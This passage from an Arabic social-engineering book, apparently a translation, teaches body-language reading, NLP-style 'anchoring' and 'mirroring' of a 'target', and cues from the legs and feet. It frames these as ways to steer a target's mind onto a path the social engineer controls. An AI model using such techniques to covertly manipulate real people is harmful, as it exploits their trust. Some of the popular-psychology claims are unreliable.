‫وﺗﻌزﯾز اﻟﻌﺎدات اﻟﺳﯾﺋﺔ‪ .‬ﻛﻠﻣﺎ ﻻﺣظت‪ ،‬ﻛﻠﻣﺎ ﻛﻧت ﺗﺛﻘﯾف ﻧﻔﺳك ﻋﻠﻰ ﻣﻌﺎﻧﻲ ھذه اﻹﺷﺎرات‪ ،‬ﻛﻠﻣﺎ ﻛﻧت ﺗﻣﺎرﺳﮭﺎ ﺗﻣﺎﻣﺎ‪ ،‬ﻓﯾﺻﺑﺢ ﻣن اﻷﺳﮭل اﻟﺗﻘﺎط‬
‫ھذه اﻻﺷﺎرات‪.‬‬
‫اﻟﺧطوة اﻟﺗﺎﻟﯾﺔ‪ ،‬ﺑﻣﺟرد ﺗدرﯾب ﻧﻔﺳك ﻻﺣظت ھذه اﻟﻌﻼﻣﺎت‪ ،‬ھو ﺗﻌﻠﯾم ﻧﻔﺳك ﻛﯾﻔﯾﺔ اﺳﺗﺧداﻣﮭﺎ‪ .‬إذا دﺧﻠت ﻣﻛﺗب ورأﯾت اﻟﻣﺷﮭد ﻛﻣﺎ ﻣﺑﯾن ﻓﻲ‬
‫اﻟﺷﻛل اﻟﺗﺎﻟﻰ‪ ،‬ﻣﺎ ﻣن ﺷﺄﻧﮫ أن ﺗﻔﺗرض؟ ﺧذ دﻗﯾﻘﺔ ﻟدراﺳﺔ اﻟﺻورة‪.‬‬

‫‪https://www.facebook.com/tibea2004‬‬ ‫د‪ .‬ﻣﺣﻣد ﺻﺑﺣﻲ طﯾﺑﮫ‬

 ‫‪876‬‬

‫ھل ﻻﺣظت أن ﺑن ﯾﺣﺎول ﻓرض ھﯾﻣﻧﺗﮫ؟ ﻣﺎذا ﺗﺷﯾر اﻟﯾﮫ أﯾدي ﺳﯾﻠﯾﻧﺎ؟ أﻧﮭﺎ ﻻ ﺗﺑدو ﻣرﯾﺣﺔ ﺟدا ﻣﻊ ﻧﮭﺟﮫ‪ ،‬ھل ھﻲ؟ ﯾﻣﻛن اﺳﺗﺧدام ھذا اﻟﻧوع ﻣن‬
‫اﻟﻣﻌﻠوﻣﺎت ﻓﻲ ﻧﮭﺟﻛم ﯾﻌﻧﻲ اﻟﻔرق ﺑﯾن اﻟﻧﺟﺎح أو اﻟﻔﺷل ﺧﻼل اﻟﺗﻌﺎﻗدات اﻟﺧﺎﺻﺔ ﺑك‪.‬‬
‫‪) Anchoring‬اﻟﺮاﺑﻂ ‪ ...‬او ﻋﻤﻠﯿﺔ اﻹرﺳﺎء(‬

‫ﻟﻛل ﺣﺎﻟﺔ ذھﻧﯾﺔ ﻣﺷﺎﻋر ﻣﺗﺣدة ﻣﻌﮭﺎ‪ .‬ﻓﺣﺎﻟﺔ اﻹﺷراق واﻟﺗﺄﻟﻖ ﺗﺻﺎﺣﺑﮭﺎ ﻣﺷﺎﻋر اﻟﺛﻘﺔ ﺑﺎﻟﻧﻔس‪ ،‬واﻟﺳﻌﺎدة‪ .‬وﺣﺎﻟﺔ اﻟﺣزن واﻟﻛﺄﺑﺔ ﺗﺻﺎﺣﺑﮭﺎ ﻣﺷﺎﻋر‬
‫اﻟﻣرارة‪ ،‬واﻟﮭزﯾﻣﺔ‪ ،‬واﻟﺿﻌف‪ .‬وﻟﮭذه اﻟﻣﺷﺎﻋر اﻹﯾﺟﺎﺑﯾﺔ ﻣﻧﮭﺎ واﻟﺳﻠﺑﯾﺔ أﺛر ﻛﺑﯾر ﻋﻠﻰ اﻟﺗﻔﻛﯾر واﻟﺳﻠوك‪ ،‬ﯾﺣﺗﺎج اﻹﻧﺳﺎن دوﻣﺎ ﻓﻲ ﺣﯾﺎﺗﮫ إﻟﻰ‬
‫ﻣﺷﺎﻋر إﯾﺟﺎﺑﯾﺔ ﻟﯾﻘوم ﺑﺄداء ﻓﻌﺎﻟﯾﺎﺗﮫ ﺑﻛﻔﺎﯾﺔ ﻋﺎﻟﯾﺔ‪.‬‬
‫ﻛﯾف ﯾﻣﻛن اﻟﺣﺻول ﻋﻠﻰ ﺗﻠك اﻟﻣﺷﺎﻋر اﻹﯾﺟﺎﺑﯾﺔ ﻓﻲ اﻟﻠﺣظﺎت اﻟﺗﻲ ﯾﺣﺗﺎﺟﮭﺎ اﻹﻧﺳﺎن؟ ھل ھﻧﺎك طرﯾﻘﺔ ﻹﯾﻘﺎد ﺟذوة اﻟﻣﺷﺎﻋر اﻹﯾﺟﺎﺑﯾﺔ ﻋﻧدﻣﺎ‬
‫ﯾﺣﺗﺎﺟﮭﺎ اﻟﺷﺧص؟ أو ﻹطﻼﻗﮭﺎ ﻛﻣﺎ ﯾطﻠﻖ زﻧﺎد اﻟﻧﺎر‪ ،‬ﻓﺗﻐور اﻟﻣﺷﺎﻋر اﻟﺳﻠﺑﯾﺔ‪ ،‬وﺗرﺗﻔﻊ راﯾﺔ اﻟﻣﺷﺎﻋر اﻹﯾﺟﺎﺑﯾﺔ؟‬
‫ﻛﺷف أن ﻋﻣﻠﯾﺔ اﻟرﺑط ﻓﻲ إﻣﻛﺎﻧﮭﺎ أن ﺗﺛﯾر ﻋﻣل ﺟﺳﻣﺎﻧﻲ‪ ،‬ﻓﻘد ﻛﺎن ﺑﺎﻓﻠوف ﯾﻘوم ﻛل ﻣرة ﺑدق اﻟﺟرس ﻋﻧد ﺗﻘدﯾم اﻟطﻌﺎم ﻟﻛﻠﺑﮫ‪ ،‬وﻛﺎن ﻣن‬
‫اﻟطﺑﯾﻌﻲ أن ﯾﺳﯾل ﻟﻌﺎب اﻟﻛﻠب ﻋﻧد ﺗﻘدﯾم اﻷﻛل‪ .‬وﺑﻌد ﻓﺗرة ﻗﺻﯾرة ﺗﻛون رﺑط ﻋﺻﺑﻲ ﻣﺎ ﺑﯾن ﺗﻘدﯾم اﻷﻛل ودق اﻟﺟرس‪ ،‬وﺑﻌد ذﻟك ﺗﻌﻣد أن ﯾدق‬
‫اﻟﺟرس ﺑدون ان ﯾﻘدم اي طﻌﺎم ﻟﻠﻛﻠب ﻓﻛﺎﻧت اﻟﻧﺗﯾﺟﺔ ان ﺳﺎل ﻟﻌﺎب اﻟﻛﻠب ﺑﻣﺟرد ﺳﻣﺎﻋﮫ ﻟﻠﺟرس رﻏم ﻋدم وﺟود اﻟطﻌﺎم ‪.‬‬
‫ﺗﺗﻐﯾر ﺣﺎﻟﺔ اﻹﻧﺳﺎن اﻟذھﻧﯾﺔ ﺑﺎﺳﺗﻣرار‪ ،‬وﻛﺄن ﻓﻠﻣﺎ ﺳﯾﻧﻣﺎﺋﯾﺎ ﯾﻣر أﻣﺎﻣﮫ‪ .‬وﻟﻛن ﻣﺷﺎھد ھذا اﻟﻔﻠم ﻏﯾر ﻣﻧظﻣﺔ‪ ،‬ﻓﺗﺎرة ﺗﻣر ﻓﻲ ذھﻧﮫ ﻣﺷﺎھد ﺗﻧﺗﺞ ﻋﻧﮭﺎ‬
‫ﻣﺷﺎﻋر إﯾﺟﺎﺑﯾﺔ‪ ،‬وﺗﺎرة ﺗﻛون ﻣﺷﺎھد ذات ﻣﺷﺎﻋر ﺳﻠﺑﯾﺔ‪ .‬ھذه اﻟﺣﺎﻻت اﻟذھﻧﯾﺔ اﻟﻣﺗﻧوﻋﺔ ﻻ ﺗﺄﺗﻲ إﻻ ﺑﺳﺑب ﻣﺛﯾرات أو ﻣﻧﺑﮭﺎت ﻛﺎﻧت ﻗد ارﺗﺑطت‬
‫ﺑﮭﺎ ﺑطرﯾﻘﺔ ﻣن اﻟطرق‪ .‬وﻗد ﺗﻛون ھذه اﻟﻣﻧﺑﮭﺎت‪ :‬ﺻورﯾﺔ‪ ،‬ﺳﻣﻌﯾﺔ أو ﺣﺳﯾﺔ‪.‬‬
‫أي أﻧﮭﺎ ﻓﻲ اﻟواﻗﻊ أﻧﻣﺎط ﻟﻺدراك ﺗﻛون إﻣﺎ ﺧﺎرﺟﯾﺔ‪ ،‬أو داﺧﻠﯾﺔ‪ .‬ﻓﻘد ﺗرى واﻧت ﺗﺳﯾر ﻓﻲ اﻟطرﯾﻖ ﺷﺟرة ﻣﻌﯾﻧﮫ ‪ ...‬وﺣﺎل رؤﯾﺗك ﻟﻠﺷﺟرة ﺗﻘﻔز‬
‫إﻟﻰ ذھﻧك ﺻورة او ﻣﺷﮭد او إﺣﺳﺎس ﻣﻌﯾن ﻣﻣﺎ ھو ﻣﺧزون ﻓﻲ ذاﻛرﺗك‪ ،‬او ﻓﻲ ﻋﻘﻠك اﻟﺑﺎطن‪ .‬ﻣﺛل ھذه اﻟﻌﻣﻠﯾﺔ ﺗﺗﻛرر ﺑﺎﺳﺗﻣرار ﻓﻲ ﺣﯾﺎﺗﻧﺎ‬
‫وﺑﺷﻛل ﻋﻔوي‪ ،‬ﻛذﻟك ﻓﺎن اﻟﺣﺎﻟﺔ اﻟذھﻧﯾﺔ اﻟﺗﻲ ﻧﺗﺟت ﻋن رؤﯾﺗك ﻟﻠﺷﺟرة ﻗد ﺗؤدي إﻟﻰ ﺣﺎﻟﺔ ذھﻧﯾﺔ أﺧرى‪ .‬وھﻛذا ﺗﺗﻌﺎﻗب اﻷﻧﻣﺎط اﻟﻣﺗﻧوﻋﺔ‬
‫ﺑﺣﺳب ﺧﺻﺎﺋص اﻟﻧظﺎم اﻟﺗﻣﺛﯾﻠﻲ ﻟذھﻧك ﺣﺗﻰ ﺗﺳﺗﻘر إﻟﻰ ﺣﺎﻟﺔ ذھﻧﯾﺔ إﯾﺟﺎﺑﯾﺔ أو ﺳﻠﺑﯾﺔ ‪.‬‬
‫اﻹﯾﻣﺎءات )‪ (Gestures‬ﯾﻣﻛن أن ﯾﻛون ﻟﮭﺎ ﺑﻌض اﻵﺛﺎر ﻗوﯾﺔ ﻋﻧد اﺳﺗﺧداﻣﮭﺎ ﺑﺷﻛل ﺻﺣﯾﺢ‪ .‬ﺑﻌض ھذه اﻟﻣﺑﺎدئ ﺗﺄﺗﻲ ﻣن دراﺳﺔ اﻟﺑرﻣﺟﺔ‬
‫اﻟﻠﻐوﯾﺔ اﻟﻌﺻﺑﯾﺔ )‪ (NLP‬وﻟﻛن ﯾﻣﻛن أن ﺗﻣﻠك اﻟﻛﺛﯾر ﻣن اﻟطﺎﻗﺔ ﻋﻧدﻣﺎ ﺗﺣﺎول وﺿﻊ اﻟﻌﻘل اﻟذي ﺗﺳﺗﮭدﻓﮫ ﻋﻠﻰ ﻣﺳﺎر ﯾﻣﻛﻧك اﻟﺗﺣﻛم ﻓﯾﮫ‪.‬‬
‫واﺣدة ﻣن ھذه اﻟطرﯾﻘﺔ ھﻲ ‪ ،Anchoring‬واﻟذي ھو اﻟوﺳﯾﻠﺔ ﻟرﺑط اﻟﺑﯾﺎﻧﺎت ﻣﺛل اﻟﻧوع ﻣﻊ إﯾﻣﺎء )‪ (Gesture‬ﻣﻌﯾن‪ .‬ﻋﻠﻰ ﺳﺑﯾل اﻟﻣﺛﺎل‪ ،‬إذا‬
‫ﻛﻧت ﺗﺗﺣدث إﻟﻰ ھدف وﺗﺻف ﺷﻲء إﯾﺟﺎﺑﻲ وﺟﯾد‪ ،‬ﯾﻣﻛﻧك ﺗﻛراره ﻣرة أﺧرى ﺑﯾﻧﻣﺎ ﺗﺷﯾر ﺑﯾدك اﻟﯾﻣﻧﻰ ﻓﻘط‪ .‬إذا ﻛﺎن ﺷﯾﺋﺎ ﺳﯾﺋﺎ ﯾﻣﻛﻧك اﻻﯾﻣﺎء‬
‫ﺑﯾدك اﻟﯾﺳرى ﻓﻘط‪ .‬ﺑﻌد اﻟﻘﯾﺎم ﺑﮭذه اﻟﺑﺎدرة ﻋدة ﻣرات إﻟﻰ أن ﺗﺑدأ إرﺳﺎء ﻋﻘل اﻟﮭدف اﻟﺧﺎص ﺑك ﺣﯾث إﯾﻣﺎءات اﻟﯾد اﻟﯾﻣﻧﻰ ﺗرﺗﺑط ﺑﺎﻷﺷﯾﺎء‬
‫اﻟﺟﯾدة‪.‬‬
‫اﻟﺑﺎﻋﺔ ﯾﺳﺗﺧدم ھذا اﻷﺳﻠوب ﻟزﯾﺎدة وﺗرﺳﯾﺦ أن "ﻣﻧﺗﺟﺎﺗﮭم" أو "ﺧدﻣﺗﮭم" ﻣﻣﺗﺎزة وﻻ ﯾوﺟد ﻣﻧﺎﻓس ﻟﮭﺎ‪ .‬ﺑﻌض اﻟﺳﯾﺎﺳﯾﯾن ﯾﺳﺗﺧدﻣوا ھذا‬
‫اﻷﺳﻠوب ﻟﺗرﺳﯾﺦ اﻷﻓﻛﺎر اﻹﯾﺟﺎﺑﯾﺔ أو اﻷﻓﻛﺎر اﻟﺗﻲ ﯾرﯾدون ﻣن ﺟﻣﮭورھم اﻟﺗﻔﻛﯾر اﻹﯾﺟﺎﺑﻲ ﻛﻣﺎ ھو اﻟﺣﺎل ﻣﻊ ﺑﻌض اﻹﯾﻣﺎءات‪ .‬ﻛﺎن ﺑﯾل‬
‫ﻛﻠﯾﻧﺗون ﻣﺛﺎل ﻋظﯾم ﻋﻠﻰ ﺷﺧص ﯾﻔﮭم ھذا‪ .‬ﻟﻧرى ھذا اﻟﻌﻣل‬
‫‪https://www.youtube.com/watch?v=c1v4n3LKDto&feature=player_embedded‬‬
‫‪) Mirroring‬اﻟﺘﻄﺎﺑﻖ(‬

‫ﺗﻛﺗﯾك آﺧر ﻋﻧدﻣﺎ ﯾﺗﻌﻠﻖ اﻷﻣر ﺑﺎﻹﯾﻣﺎءات ﯾﺳﻣﻰ ‪) Mirroring‬اﻟﺗطﺎﺑﻖ(‪ ،‬ﺣﯾث ﺗﺣﺎول ﺗطﺑﯾﻖ إﯾﻣﺎءات اﻟﺷﺧﺻﯾﺔ اﻟﮭدف‪ .‬ﺑﺎﻟطﺑﻊ‪ ،‬ھذا ﻟﯾس‬
‫ﺳﮭﻼ ﻛﻣﺎ ﯾﺑدو‪ .‬ﻟﻛن ﻣﺎ ﯾﻣﻛن أن ﻧﺳﺗﺷﻔﮫ ﺣول اﻟﮭدف ﻣن اﻟﻣﻼﺣظﺔ ﻓﻘط؟ ھل ھﻲ ﺧﺟوﻟﺔ؟ ھل ھﻲ ﺑﺻوت ﻋﺎل؟ إذا ﻛﻧت ﺗﻧﮭﺞ ﺷﺧص ﺧﺟول‬
‫ﻣﻊ إﯾﻣﺎءات ﻛﺑﯾرة ﺻﺎﺧﺑﺔ ﺳوف ﺗﺧﯾف ھدﻓك ﺑﺎﻟﺗﺄﻛﯾد ورﺑﻣﺎ ﺗﻘﺗل ﻓرﺻك ﻓﻲ ﻣﺣﺎوﻟﺗك ﻛﻣﮭﻧدس اﺟﺗﻣﺎﻋﻲ‪ .‬ﻋﻠﻰ ﻧﻔس اﻟﻣﻧوال‪ ،‬إذا ﻛﻧت‬
‫ﺧﺟول أﻛﺛر ﻓﺳوف ﺗﺣﺗﺎج إﻟﻰ ﻣرآة ﻹﯾﻣﺎءات "ﺑﺻوت أﻋﻠﻰ" ﻋﻧد اﻟﺗﻌﺎﻣل ﻣﻊ ﻧﺎس "ﺑﺻوت أﻋﻠﻰ"‪) Mirroring .‬اﻟﺗطﺎﺑﻖ( ﻟﯾس ﻓﻘط‬
‫ﺗﻧطوي ﻋﻠﻰ ﻣﺣﺎﻛﺎة ﻟﻐﺔ اﻟﺟﺳد اﻟﮭدف وﻟﻛن أﯾﺿﺎ ﺑﺎﺳﺗﺧدام اﻹﯾﻣﺎءات اﻟﺗﻲ ﺗﺟﻌل ﻣن اﻟﺳﮭل ﻟﻺﻧﺳﺎن أن ﯾﺳﺗﻣﻊ إﻟﯾك‪.‬‬
‫ﯾﻣﻛﻧك أن ﺗﺄﺧذ ھذا اﻟﻣﺑدأ إﻟﻰ ﻣﺳﺗوى آﺧر‪ .‬رؤﯾﺔ إﯾﻣﺎءات ﻣﺄﻟوﻓﺔ ﻟﮭدف ﻣن اﻟﻣﻣﻛن أن ﺗﻛون ﻣرﯾﺣﺎ ﻟﮫ‪ .‬وﻣﻊ ذﻟك‪ ،‬ﯾﺟب ﺗﺣﻘﯾﻖ ﺗوازن دﻗﯾﻖ‪،‬‬
‫ﻷﻧﮫ إذا ﻛﺎن اﻟﮭدف اﻟﺧﺎص ﺑك ﻟدﯾﮫ إﯾﻣﺎءات ﺧﺎﺻﺔ ﯾﺳﺗﺧدﻣﮭﺎ ﻛﺛﯾرا وأﻧت ﺗﺳﺗﺧدﻣﮭﺎ ﺑﻧﻔس اﻟطرﯾﻘﺔ ﺗﻣﺎﻣﺎ‪ ،‬ﻓﺎﻧت ﺳوف ﺗﻛون ﻹﻏﺿﺎﺑﮫ‪ .‬ﻓﺎذا‬
‫ﻛﻧت ﺗرﯾد ﻣرآة ﻟﮫ‪ ،‬وﻟﻛن ﻟﯾس ﺗﻣﺎﻣﺎ‪ .‬إذا ﻛﺎن اﻟﮭدف ﯾﻔﻛر ﻣن ﺧﻼل وﺿﻊ ﯾده ﻋﻠﻰ ذﻗﻧﮫ ﯾﻣﻛﻧك اﻧﮭﺎء اﻟﻔﻛر ﻣن ﺧﻼل وﺿﻊ ﯾدك ﻋﻠﻰ ﺟزء‬
‫آﺧر ﻣن وﺟﮭك أو رﻓﻊ اﺻﺑﻌك ﻟﻺﺷﺎرة اﻟﻰ ذﻗﻧك ﺑﺿﻊ ﻣرات‪.‬‬

‫‪https://www.facebook.com/tibea2004‬‬ ‫د‪ .‬ﻣﺣﻣد ﺻﺑﺣﻲ طﯾﺑﮫ‬

 ‫‪877‬‬

‫‪The Torso, Legs, and Feet‬‬

‫ﻟﻐﺔ اﻟﺟﺳد ھﻲ اﻟﻣﻔﺗﺎح اﻟﺗﻲ ﯾﻣﻛﻧ ﮫ أن ﯾطﻠﻖ اﻟروح‬
‫ﻛوﻧﺳﺗﺎﻧﺗﯾن ﺳﺗﺎﻧﯾﺳﻼﻓﺳﻛﻲ‬
‫ﺗطرق اﻟﺟزء اﻟﺳﺎﺑﻖ ﻋﻠﻰ ﻛﯾﻔﯾﺔ اﻣﻛﺎن اﻟﯾدﯾن ﻓﻲ اﯾﺻﺎل اﻟﻣﺷﺎﻋر‪ .‬اﻷﯾدي ﯾﻣﻛن أن ﺗﻛون وﺻﻔﯾﮫ وﻣﺷﺎرﻛﮫ ﺣﯾث ﯾﻣﻛﻧﮭﺎ ﺣﻛﺎﯾﺔ اﻟﻘﺻﺔ ﻛﻠﮭﺎ‬
‫ﻣن أي وﻗت ﻣﺿﻰ ﻣن دون اﻟﺣﺎﺟﺔ إﻟﻰ اﻟﻛﻼم‪ .‬وﻟﻛن ﻣﺎذا ﻋن اﻟﻧﺻف اﻟﺳﻔﻠﻲ ﻣن اﻟﺟﺳم؟ ﻣﺎذا ﯾﻘول؟ اﻟﻣؤﺷرات اﻟرﺋﯾﺳﯾﺔ ﻟﺣﺎﻟﺔ اﻟﺷﺧص‬
‫اﻟﻌﺎطﻔﯾﺔ ﻣدﻓوﻧﺔ ﻋﻠﻰ ﻋﻣﻖ ﻛﺑﯾر ﻓﻲ اﻟﺟذع واﻟﺳﺎﻗﯾن واﻟﻘدﻣﯾن؟‬
‫اﻟﺳﺎﻗﯾن واﻟﻘدﻣﯾن ھﻲ وﺳﯾﻠﺔ ﻣن وﺳﺎﺋل اﻟﻧﻘل‪ .‬أﻧﮭﺎ ﺗﺄﺧذﻧﺎ اﻟﻰ اﻷﻣﺎﻛن‪ ،‬وﺗﺳﺎﻋدﻧﺎ ﻋﻠﻰ ﺣﻣل اﻷﺣﻣﺎل اﻟﺛﻘﯾﻠﺔ‪ ،‬واﻟﺣﻔﺎظ ﻋﻠﻰ أﺟﺳﺎﻣﻧﺎ ﻣﺗوازﻧﺔ‪.‬‬
‫وﻓﻲ اﻟوﻗت ﻧﻔﺳﮫ‪ ،‬ﯾﻣﻛن ﻟﻠﺳﺎﻗﯾن وﺧﺎﺻﺔ اﻟﻘدﻣﯾن أن ﯾﻛوﻧﺎ ﻣﺻدرا ﻟﻠﻣﺗﻌﺔ اﻟﺣﺳﯾﺔ واﻟﺣﺳﺎﺳﯾﺔ اﻟﻣﻔرطﺔ‪.‬‬
‫اﻟﺟﮭﺎز اﻟﺣوﺿﻲ )‪ ،(limbic system‬اﻟذي ﯾﺳﯾطر ﻋﻠﻰ ﺳﻠوﻛﻧﺎ اﻟﻐﯾر ﻟﻔظﻲ‪ ،‬ﺣﯾث ﯾﺣﺎﻓظ ﻋﻠﻰ اﻟﻧﺻف اﻟﺳﻔﻠﻲ ﺻﺎدﻗﺎ‪ .‬ﻷن اﻟﯾدﯾن واﻟذراﻋﯾن‬
‫ھﻲ أﻣﺎﻣﻧﺎ‪ ،‬وﯾﻣﻛﻧﻧﺎ ﻣﻼﺣظﺔ ﻣﺎ ﻧﻘوم ﺑﮫ‪ ،‬وﻟﻛن اﻟﺳﺎﻗﯾن واﻟﻘدﻣﯾن‪ ،‬ﻓﻧﺣن ﻓﻲ ﻛﺛﯾر ﻣن اﻷﺣﯾﺎن ﻻ ﻧراھﺎ‪ .‬ھذا ﯾﻌﻧﻲ أن ﺣرﻛﺎت اﻟﺳﺎق واﻟﻘدم‪،‬‬
‫واﻟﺟذع ﻏﺎﻟﺑﺎ ﻣﺎ ﯾﻣﻛن أن ﺗﻛون ﻣﻔﺎﺗﯾﺢ ﻓﻲ ﺗﺣدﯾد اﻟﻣﺷﺎﻋر اﻟﺣﻘﯾﻘﯾﺔ ﻟﻠﺷﺧص اﻟذي ﺗﺗﻌﺎﻣل ﻣﻌﮫ‪ .‬اﺳﻣﺣوا ﻟﻲ أن أﺑدأ ﻣﻊ اﻟﺳﺎﻗﯾن واﻟﻘدﻣﯾن‪.‬‬
‫اﻟﺴﺎﻗﯿﻦ واﻟﻘﺪﻣﯿﻦ )‪(Legs and Feet‬‬
‫اﻟﺳﺎﻗﯾن واﻟﻘدﻣﯾن ﯾﻣﻛن أن ﯾﺧﺑرﻧﺎ إذا ﻛﺎن ﺷﺧص ﻣﺎ ﯾﺷﻌر ﺑﺎﻟﺳﻌﺎدة‪ ،‬اﻟﺣزن‪ ،‬اﻟﻌﺻﺑﯾﺔ‪ ،‬ﻏﯾر ﻣرﯾﺢ‪ ،‬أو ﺣﺗﻰ ﻓطري‪ .‬ﯾﻣﻛن اﻟﺗﻌﻠم ﻻﻟﺗﻘﺎط ھذه‬
‫اﻟﻣؤﺷرات واﻟﺗﻲ ﺗﺳﺎﻋدك ﻋﻠﻰ ﻗراءة اﻟﻣواﺿﯾﻊ اﻟﺧﺎﺻﺔ ﺑك وﻓﮭم إطﺎر اﻟﻌﻘل‪ .‬رﺑﻣﺎ ﺗﻛون ﻗد ﺷﺎھدت ﻓﯾﻠم اﻷﻗدام اﻟﺳﻌﯾدة )‪،(Happy Feet‬‬
‫ﺣول اﻟﺑطرﯾﻖ اﻟراﻗص‪ .‬ﺣﯾث ﻛﺎن ﺳﻌﯾدا ﻋﻧدﻣﺎ ﻛﺎن ﯾرﻗص‪.‬‬
‫ً‬
‫اﻟﺗﻲ ھﻲ ﻟﯾﺳت ﺑﻌﯾدة ﺟدا ﻋن اﻟواﻗﻊ‪ .‬ﻋﻧدﻣﺎ ﯾﻛون اﻟﺷﺧص ﺳﻌﯾدا‪ ،‬ﻓﺎﻧﮫ ﻗد ﯾﺿرب اﻟﻛرات ﺑﻘدﻣﯾﮫ أو ﺻﺧرة ﻋﻠﻰ ﻋﻘﺑﯾﮫ‪ ،‬أو أﺻﺎﺑﻊ ﻗدﻣﯾﮫ‬
‫ﺗﺷﯾر اﻟﻰ ﺷﻲء ﻣﺎ‪ .‬روﺑن درﯾك ﻛﺗب ﻋن "اﻻﯾﻣﺎءات اﻟﺗﻲ ﺗﺗﺣدى ﻗوة اﻟﺟﺎذﺑﯾﺔ )‪ "(gravity-defying gestures‬ﺣﯾث ﯾﺑﯾن اﻟﺷﻛل اﻟﺗﺎﻟﻰ‬
‫أﺣد اﺻﺎﺑﻊ اﻟﻘدم رﻓﻊ ﻟﯾﺗﺣدى اﻟﺟﺎذﺑﯾﺔ‪.‬‬

‫ﻣن اﻟﻣﮭم ﻋدم اﻟﺧﻠط ﺑﯾن ھذه اﻻﯾﻣﺎءات اﻟﺗﻲ ﺗﺗﺣدى ﻗوة اﻟﺟﺎذﺑﯾﺔ ﻣﻊ اﻟﺗﻲ ﻛوﻧﮭﺎ ﻋﺻﺑﯾﺔ ﺷدﯾدة‪ .‬اﻟﻧﺎس ﻗد ﺗﮭز أو ﺗرج أﻗداﻣﮭم ﻛﺛﯾرا ﻛﻌﺎدة ﻟﮭم‬
‫أو ﺑﺳﺑب ﻋدم اﻟراﺣﺔ واﻟﺗﻲ ﺳوف ﯾذﻛر ﻓﻲ ﺗﺣدﯾد ﺧط اﻷﺳﺎس ﻟﺳﻠوﻛﮭم‪ .‬ﻛﯾف ﯾﻣﻛﻧك ﺗﺣدﯾد أﯾﮭﻣﺎ ﯾﻛون ھذا؟ أﺑﺣث ﻋن اﻟﺗﻐﯾرات اﻟﻣﻔﺎﺟﺋﺔ‬
‫أﺛﻧﺎء اﻟﻣﺣﺎدﺛﺔ‪ .‬إذا ﻛﺎن ﺷﺧص ﻣﺎ ﯾرج ﻗدﻣﯾﮫ وﻟﻛن ﻓﺟﺄة ﺗوﻗف ﻋﻧدﻣﺎ ﺳﺋل ﺳؤاﻻ‪ ،‬ھذا ﯾﻣﻛن أن ﯾﺷﯾر إﻟﻰ وﺟود ﺗﻐﯾﯾر ﻓﻲ ﻣﺳﺗوى اﻟراﺣﺔ ﻓﻲ‬
‫ﺧط اﻷﺳﺎس ﻓﻲ ﺣﺎﻟﺗﮫ‪.‬‬
‫ﻓﻲ إﺣدى اﻟﺣﺎﻻت ﻣﻊ اﺑﻧﻲ‪ ،‬اﻟذي ﻟدﯾﮫ ﺳﺎﻗﯾن ﻗﻠﻘﺗﯾن‪ ،‬ﻗررت أن أﺣﺎول ﻣﻌرﻓﺔ اﻟﺣﻘﯾﻘﺔ ﺣول وﺿﻌﮫ ﻣﻊ أﺻدﻗﺎﺋﮫ‪ .‬ﻟﻘد طﻠﺑت ﻣﻧﮫ اﻟﺟﻠوس ﻣﻌﻲ‬
‫ﻓﻲ ﻏرﻓﺔ اﻟﻣﻌﯾﺷﺔ‪ .‬ﺑﻣﺟرد ﺟﻠوﺳﮫ‪ ،‬ﺑدأت ﻗدﻣﯾﮫ ﺑﺎﻟﺗﺄرﺟﺢ‪ .‬ﺳﺄﻟﺗﮫ ﻛﯾف ﻛﺎﻧت اﻷﻣور ﺗﺳﯾر ﻣﻊ أﺻدﻗﺎﺋﮫ‪ .‬ﻓﺄﺟﺎب "ﺟﯾد"‪ .‬أردت أن أﺣﻔر أﻋﻣﻖ‪،‬‬
‫وذﻟك ﺑﻌد ﺑﺿﻌﺔ أﺳﺋﻠﺔ ﻋﺎدﯾﮫ‪ ،‬ﺳﺄﻟت "ﻣﺎ ھو اﻟوﺿﻊ ﺑﯾن ھذا اﻟﺷﺧص وھذا اﻟﺷﺧص؟" ﺗوﻗﻔت رﺟﻠﯾﮫ ﻋن اﻟﺗﺣرك‪ ،‬واﺿﻌﮭﺎ أﯾﮭﺎ ﻋﻠﻰ اﻷرض‬
‫ﺑﺛﺑﺎت‪ ،‬ﻣﺷﯾرا ﻧﺣو اﻟﺑﺎب‪ .‬ﻟﻣﺎ ھذا اﻟﺗﺣول اﻟﻣﻔﺎﺟﺊ ھذا ﯾﻌﻧﻲ أﻧﮫ ﻋﻠﻰ وﺷك أن ﯾﻛذب أو ﯾﺧدع؟ ﻻ‪ .‬ﯾﻌﻧﻲ ھذا اﻧﮫ ذھب ﻣن اﻟﺷﻌور ﺑﺎﻟراﺣﺔ إﻟﻰ‬
‫اﻟﺷﻌور ﺑﻐﯾر اﻟراﺣﺔ‪ .‬وھذا ﺑدوره ﯾﻌﻧﻲ أن ﻛل ﻣﺎ ﻛﺎن ﯾﺣدث ﻣﻊ أﺻدﻗﺎﺋﮫ واﻟﺗﻲ ﺗؤﺛر ﻋﻠﯾﮫ ﻣﺑﺎﺷرة‪ .‬ﻟﻘد وﺟدت ﻓﻲ ﻧﮭﺎﯾﺔ اﻟﻣطﺎف إﻟﻰ أن‬
‫اﻟوﺿﻊ ﺑﯾن اﺛﻧﯾن ﻣن اﻟرﺟﺎل ﻓﻲ ﻣﺟﻣوﻋﺗﮫ ﺗؤﺛر ﻋﻠﻰ ﺻداﻗﺎﺗﮫ وﺗزﻋﺟﮫ‪.‬‬

‫ﺗﺷﯾر أﻗداﻣﻧﺎ ﻓﻲ اﻻﺗﺟﺎه اﻟذي ﻧﺣن ذاھﺑون اﻟﯾﮫ‪ .‬ھل ﺳﺑﻖ ﻟك أن ﺣﺎوﻟت اﻟﻣﺷﻲ إﻟﻰ اﻷﻣﺎم ﻣﺑﺎﺷرة ﻣﻊ ﻗدﻣﯾك ﻣﺷﯾرا إﻟﻰ اﻟداﺧل أو اﻟﺧﺎرج؟‬
‫ﻟدﯾﻧﺎ اﻟﻘدﻣﯾن واﻟﺳﺎﻗﯾن ﺗﺷﯾران ﻟﯾس ﻓﻘط اﻟﻰ اﻻﺗﺟﺎه اﻟذي ﻧﺗﺟﮫ‪ ،‬وﻟﻛن أﯾﺿﺎ ﻓﻲ اﻻﺗﺟﺎه اﻟذي ﻧرﯾد اﻟﺗوﺟﮫ اﻟﯾﮫ‪ .‬ﯾﻣﻛﻧك ان ﺗرى ھذا ﻓﻲ ﻛﺛﯾر‬
